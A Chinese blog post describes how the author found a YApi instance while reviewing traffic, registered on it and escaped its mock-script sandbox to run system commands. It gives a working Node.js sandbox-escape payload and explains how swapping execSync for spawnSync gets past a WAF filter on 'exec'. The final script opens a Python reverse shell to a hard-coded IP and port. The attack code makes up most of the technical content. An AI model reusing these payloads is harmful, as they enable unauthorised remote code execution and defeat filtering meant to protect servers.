为了账号安全,请及时绑定邮箱和手机立即绑定

Yapi 代码执行waf绕过小技巧

标签:
Java MySQL Html5

疫情在家办公,这时接到boss的电话说要做一个流量分析,老板发话干就干。对恶意告警分析差不多了,没事翻一翻流量,结果意外发现一个大宝贝!就这样开始了与Yapi的美丽邂逅。

高兴之余赶紧注册账户,写入恶意脚本。

const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor(‘return process’)

const process = myfun()

mockJson = process.mainModule.require(“child_process”).execSync(“whoami”)

当激动的点击保存脚本的时候发现浏览器并没有反应,起初以为是管理员禁用了保存功能,后来随便保存一串字符结果显示保存成功,看看浏览器 ajax 请求原来是保存恶意脚本 的请求被拒绝了,怪不得恶意攻击的流量里没有发现这个资产,原来是有 waf 进行防御的。既然来了就不能放过,分段保存恶意脚本,经过一步一步的尝试最后定位被拦截是因为 识别到了 exec()。 该恶意脚本为 nodjs 脚本,翻一翻官方文档看到了以下内容:

原来最后那一行是起到了在windows上衍生.bat和.cmd文件的作用。

既然child_process.execSync()被禁那尝试使用spaw()替代尝试是否可绕过。点击保存显示保存成功。赶紧访问保存的恶意脚本进行反弹shell结果vps半天没消息,就在怀疑该主机是否不出网的时候被叫吃中午饭了,暂放一阶段。

吃完饭回来理了理思路,突然发现文档中exec()与spaw()语法是有区别的exec()可以直接行的命令和参数写进去比如.exec(ping 17 2 .2 3 .24.171 -c 4)而 span()只能 span(ping[‘17 2 .2 3 .24.171’,’-c’,’4’]),span()的命令和参数是分开的。

用nc进行反弹结果等了个寂寞,用python进行反弹,点击保存并访问脚本,结果啪唧一下很突然:

最后的脚本

const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor(‘return process’)

const process = myfun()

Poc=process.mainModule.require(“child_process”).spawnSync(‘python’[‘c’,’‘importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“172.23.24.171”,6665));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’’])

点击查看更多内容
TA 点赞

若觉得本文不错,就分享一下吧!

评论

作者其他优质文章

正在加载中
  • 推荐
  • 评论
  • 收藏
  • 共同学习,写下你的评论
感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦
今天注册有机会得

100积分直接送

付费专栏免费学

大额优惠券免费领

立即参与 放弃机会
意见反馈 帮助中心 APP下载
官方微信

举报

0/150
提交
取消